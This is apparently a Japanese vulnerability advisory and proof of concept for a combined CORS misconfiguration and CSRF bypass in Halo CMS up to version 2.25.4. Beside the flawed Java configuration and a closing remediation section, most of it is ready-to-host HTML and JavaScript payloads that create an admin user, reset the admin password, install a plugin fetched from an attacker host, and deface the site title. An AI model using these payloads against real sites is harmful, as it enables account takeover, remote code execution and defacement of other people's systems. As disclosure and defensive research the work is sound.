
Halo CMSにおけるCORS設定ミスとCSRF保護バイパスを組み合わせた概念実証で、クロスサイトリクエストフォージェリ攻撃により管理者ユーザーの作成、パスワード変更、プラグインのインストール、コンテンツの改変を可能にします。
Halo CMS バージョン2.25.4以前には、2つのセキュリティ設定ミスにより深刻な複合攻撃の脆弱性が存在します:
*(任意のオリジン)をcredentials: trueとともに許可している/api/**、/apis/**)がCSRF保護から除外されているこれらが組み合わさると、攻撃者は任意のオリジンからクロスサイトリクエストフォージェリ攻撃を実行でき、CORSが強制することを目的とした同一オリジンポリシー保護をバイパスできます。
CVSS v3.1スコア: 9.3 (Critical)
CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (クロスサイトリクエストフォージェリ) + CWE-942 (過度に寛容なクロスドメインポリシー)
CVE ID: CVE-2026-67921
ファイル: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← 任意のオリジン
configuration.setAllowCredentials(true); // ← Cookieを許可
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
影響: 任意のWebサイトがユーザーのCookieを使用してHaloのAPIに対して認証済みリクエストを送信できます。
ファイル: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← APIルートがCSRFから除外されている!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
影響: セッションCookieで認証されている場合でも、APIリクエストにCSRFトークンは不要です。
| 保護 | 単独の場合 | 組み合わせた場合 |
|---|---|---|
CORS * | 資格情報をブロック(ブラウザが強制) | 資格情報が許可される! |
| CSRFなし | 同一オリジンポリシーで保護 | CORSでバイパスされる! |
| 結果 | 安全 | 完全なCSRF |
┌─────────────────────────────────────────────────────────────┐
│ 攻撃者がevil.comに悪意のあるページをホスト │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 被害者のブラウザがevil.comにアクセス │
│ → フォームがHalo APIに自動送信 │
│ → ブラウザがセッションCookieを自動的に含める │
│ → CORS: Origin * + credentials: true → リクエスト許可! │
│ → CSRF: /apis/** が除外 → トークン不要! │
│ → 被害者の権限でリクエストが成功 │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// サイトタイトルの変更
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
csrf-test.htmlを作成:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>
<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.htmlを開くAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| 攻撃 | 影響 | 深刻度 |
|---|---|---|
| 管理者ユーザーの作成 | システム全体の侵害 | Critical |
| 管理者パスワードの変更 | アカウント乗っ取り | Critical |
| 悪意のあるプラグインのインストール | リモートコード実行 | Critical |
| コンテンツの改ざん | 改竄 | High |
| データの削除 | データ損失 | High |
| データの窃取 | 情報漏えい | High |
// ワイルドカードを特定のオリジンに置き換える
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// CSRFマッチャーからAPI除外を削除
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
APIエンドポイントでは、CSRFの影響を受けないセッションCookieではなく、Bearerトークン認証を優先的に使用してください。